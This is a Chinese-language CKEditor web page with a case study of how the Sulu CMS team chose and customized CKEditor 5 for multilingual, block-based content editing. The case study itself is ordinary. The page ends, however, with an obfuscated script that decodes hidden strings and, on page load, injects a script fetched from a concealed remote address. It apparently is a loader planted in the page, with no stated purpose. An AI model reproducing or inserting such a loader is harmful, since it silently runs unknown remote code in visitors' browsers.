报告:2024 年 协作编辑现状

获取关于 RTE 协作趋势和未来的见解 立即下载

立即阅读

Sulu

Sulu 如何使用 CKEditor 创建一个干净的多语言网站 UI

查看所有案例研究

所有信息截至最初发布时间都是正确的。

公司

Sulu

行业

软件开发

地点

奥地利多恩比恩(全球)

Alexander Schranz

我们能够自定义编辑器,使其与我们的外观和感觉相匹配,并且不会让人感觉像是添加到我们系统中的一个外来组件。

Alexander Schranz

开发人员,Sulu

成果

多语言、基于块的内容编辑器

干净的品牌 UI

最少的开发工作

新功能的平滑集成

具有原生 React 支持的可定制 WYSIWYG

可扩展的平台

挑战

为多语言网站创建灵活的 CMS

创建支持多种语言的网站绝非易事,因此 Sulu 背后的团队决定构建一个开源 CMS 来完美地完成这项工作。Sulu CMS 具有先进的本地化功能,包括跨多种语言的单一一致页面树,以及对无限数量的本地化的支持。

为了处理由此带来的额外复杂性,Sulu 使用了基于块的内容结构,以便可以根据本地化需求以不同的方式管理不同的文本部分。这意味着文本输入和添加富文本(包括表格)的能力对于 Sulu CMS 的结构至关重要。

Sulu 需要一个富文本编辑器,具有

  • 对集成的完全控制
  • 原生 React 支持
  • 可定制的外观和感觉
  • 高级富文本编辑功能
我们考虑过其他基于 React 的编辑器,但缺少一些功能,而 CKEditor 具备这些功能。

解决方案

一个完全可定制的富文本编辑器

Sulu 的开发者之一 Alexander Schranz 表示,该团队在最终选择 CKEditor 5 之前尝试过许多富文本编辑器:“当我们重写 CMS 时,我们开始使用 React,并对不同的编辑器进行了测试以匹配我们的用例。我们需要基本的样式以及表格方面的内容,以便为我们的用户需求进行优化,因此在对各种编辑器进行了测试后,我们选择了 CKEditor 5。”

Sulu 团队很快发现 CKEditor 拥有他们所需的所有功能,以及至关重要的自定义编辑器 UI 以适应其平台的能力。不仅如此,CKEditor 的模块化、基于插件的架构意味着 Sulu 的开发者可以禁用或删除他们不需要的任何编辑器功能。该开源项目与 CKEditor 的默认 GPL2+ 许可证不兼容,因此 CKSource 向 Sulu 授予了开源免费 (FfOS) 商业许可证,允许该团队将 CKEditor 5 集成到 Sulu 中。

我们提供的

具有模块化功能集的可定制 WYSIWYG 编辑器

表格

商业许可证 (FfOS)

结果

任何语言的干净、简单的内容编辑

总的来说,Alexander 表示该团队对 CKEditor 印象深刻。“我们能够自定义编辑器,使其与我们的外观和感觉相匹配,并且不会让人感觉像是添加到我们系统中的一个外来组件,”他说道。

将 CKEditor 集成到 Sulu 中为该团队节省了无数的开发头痛问题,并让他们腾出时间处理产品的其他方面。最重要的是,当 Sulu 用户请求新的内容编辑功能时,该团队只需通过激活插件即可轻松添加这些功能。Alexander 表示,他们计划在未来使 Sulu 更加可扩展,以其定制的 CKEditor 集成为 CMS 的核心。

我们能够自定义编辑器,使其与我们的外观和感觉相匹配,并且不会让人感觉像是添加到我们系统中的一个外来组件。

分享

了解 CKEditor 可以为您做什么

受信任并获得批准

您好,您对产品或价格有任何疑问吗?

关于我们产品或定价的疑问?

请联系我们的销售代表

表单内容字段

表单提交

HiddenGatedContent。
隐藏未使用字段。

我们很高兴
收到您的来信!

感谢您联系CKEditor 销售团队。我们已收到您的留言,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://#/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });